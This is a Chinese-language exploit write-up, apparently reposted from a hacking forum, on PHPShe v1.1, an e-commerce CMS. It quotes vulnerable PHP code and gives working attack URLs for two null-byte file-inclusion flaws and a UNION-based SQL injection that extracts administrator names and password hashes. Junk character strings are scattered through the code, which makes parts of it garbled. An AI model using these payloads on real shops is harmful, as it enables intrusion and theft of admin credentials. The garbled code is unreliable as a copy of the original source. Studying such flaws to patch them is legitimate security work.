phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
5 k/ v* ]4 K# E  S2 f/* Phpshe v1.1 Vulnerability
$ p( F$ x( B# g/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
( X: u8 f8 I) [4 l! ]7 Y/*******************************************************/
0×00 整体大概参数传输



//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
! V/ u# Y& B8 t7 K8 ~5 v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
) x# e- m! D% j  r" O9 {!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
( m0 l0 ?9 R( f) o5 Q# h" p}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
4 c& ~8 g2 o+ C1 D- C' O6 Q% u

! I; A3 K, }! j' ^. \* D! b//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
9 Q( C  p2 w: o$ t" d?>
% l5 D: ~% P* t9 B* z//common 文件 第15行开始
1 Q$ S& |* t/ t8 z+ {url路由配置
. |  l4 y6 K: p, }2 y$module = $mod = $act = 'index';
5 x8 V5 F; J& e$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
; ?2 P. Q3 U6 y7 n# U$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
. Q) I8 j8 U4 B' m1 W3 m//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

# x: ]. f  M  e( O
0×02 搜索注入

<code id="code2">

//product.php文件
9 b: V0 `  W6 e1 ~case 'list':
$category_id = intval($id);
: A0 i5 f( {, b+ V/ ]$ b0 Q$info = $db->pe_select('category', array('category_id'=>$category_id));
" e6 S) Z% i2 m' C//搜索
1 x, L$ T7 N8 f; S' o) A. C- r  I$sqlwhere = " and `product_state` = 1";
3 {: N9 D, p0 ^pe_lead('hook/category.hook.php');
6 g  t; E% W: Sif ($category_id) {
. x5 n& C% d6 W$ o' v2 Lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
9 s2 J/ g; A. t7 G% c5 J6 V}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 }9 Y' v8 l& Pif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
" n- l& U) J% }% Q2 Z+ H3 X* u}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. L# X* k/ T5 K9 U//热卖排行
$product_hotlist = product_hotlist();
& x* |% d9 A. o/ J2 L, [( {//当前路径
- [2 r# S( b4 W% F. F/ w4 p; y$nowpath = category_path($category_id);
3 Z3 E& f6 X& a2 c8 V8 A$seo = pe_seo($info['category_name']);
9 n" v* X. `5 Linclude(pe_tpl('product_list.html'));
3 V$ j  _0 U7 Q+ @//跟进selectall函数库
) [+ }3 C: x$ e& f3 t( M- T$ Apublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
1 ~4 d+ ^5 @" P9 u//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
) Y+ _+ X& i- `' H3 L+ o}
! Y; _/ Y# ~& F9 ?& |//exp
% B" {6 t+ ]5 O; T/ t/ y, rproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
* M% `9 }) ^4 o0 f9 A

</code>

$ x7 Q$ g. j  b4 h# W0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

9 o9 Y$ x" I( n# Z5 y. `$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; t- |8 g4 m( l3 P- rif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

) f; @7 _# C8 u) ^2 R+ K- l8 p}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

9 S' `% M4 o4 z; y2 v7 @+ Q1 m!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 C* `1 h* R' M$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 p3 V/ A( ^0 h$ H  u# tforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

6 b3 P8 [( v/ {  c, B" O+ t' Becho '正在为您连接支付网站，请稍后...';

$ t! N' g* C; Y  h; binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

* u. t% \* `+ q- s4 ^}//当一切准备好的时候就可以进行"鸡肋包含了"

0 d0 {# i5 ^$ }else {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg